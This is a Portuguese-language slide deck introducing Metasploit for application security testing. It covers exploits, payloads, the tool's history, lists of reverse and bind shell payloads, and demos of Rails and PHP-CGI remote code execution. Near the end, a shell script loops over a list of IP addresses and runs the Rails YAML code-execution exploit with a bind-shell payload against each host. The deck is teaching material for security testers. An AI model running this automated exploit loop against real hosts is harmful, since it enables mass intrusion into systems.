Testando a segurança de suas aplicações com:

metasploit

by Daniel Romero / @infoslack

Daniel Romero

daniel romero

Initsec

initsec

initsec.com

electo

electo.com.br

Livro

Livro começando com Linux

infoslack.com/livro

Testar a segurança da minha app?

depress

Vulnerabilidades

provenientes de erros na etapa de desenvolvimento

propositais para possibilitar um acesso secundário

Exploit

Método do qual um agressor se aproveita da vulnerabilidade para atingir qualquer tipo de sistema de hardware ou software.

Payload

Parte que será injetada para executar alguma ação quando a vulnerabilidade for explorada com sucesso.

Metasploit

  1. Ambiente completo para o desenvolvimento de exploits
  2. Sistema avançado para testes de segurança

Histórico

2003 - HD Moore disponibiliza a primeira versão em Perl

2004 - É lançada a versão 2.0 em Perl, C e C++

2007 - Versão 3.0 totalmente escrita em Ruby

2009 - Rapid7 compra o Metasploit

2010 - Lançamento das versões comerciais Pro e Express

2011 - Versão Community Edition é liberada

arquitetura
modules
metapsloit console

Payloads

  • Stager ???
  • Inline ???

Stager

                
php/meterpreter/bind_tcp      normal  PHP Meterpreter, Bind TCP Stager
php/meterpreter/bind_tcp_ipv6 normal  PHP Meterpreter, Bind TCP Stager IPv6
php/meterpreter/reverse_tcp   normal  PHP Meterpreter, PHP Reverse TCP Stager
                
              

Inline

                
generic/shell_bind_tcp      normal  Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp   normal  Generic Command Shell, Reverse TCP Inline
php/meterpreter_reverse_tcp normal  PHP Meterpreter, Reverse TCP Inline
                
              

Testando uma aplicação vulnerável - Rails Remote Code Execution

Demo - Rails Secret Session Cookie Remote Code Execution

Módulos Auxiliares - Demo Rails XML Deserialization Scanner

Meterpreter

Payload do tipo staged composto de múltiplas ferramentas em um shell interativo

Demo Meterpreter - PHP CGI Argument Injection

Pode ser automatizado ???

msfcli

Linha de comado que executa apenas uma sessão por vez.

              
#!/bin/sh

TARGETS="ip-list.txt"
CLI="metasploit-framework/msfcli"

for host in $(cat $TARGETS)
do
  tmux new-window -n $host $CLI'\
          multi/http/rails_xml_yaml_code_exec rhost='$host'\
          payload=ruby/shell_bind_tcp E'
done
              
            

Demo - Auto Exploit

pergutas

Links

Obrigado! =)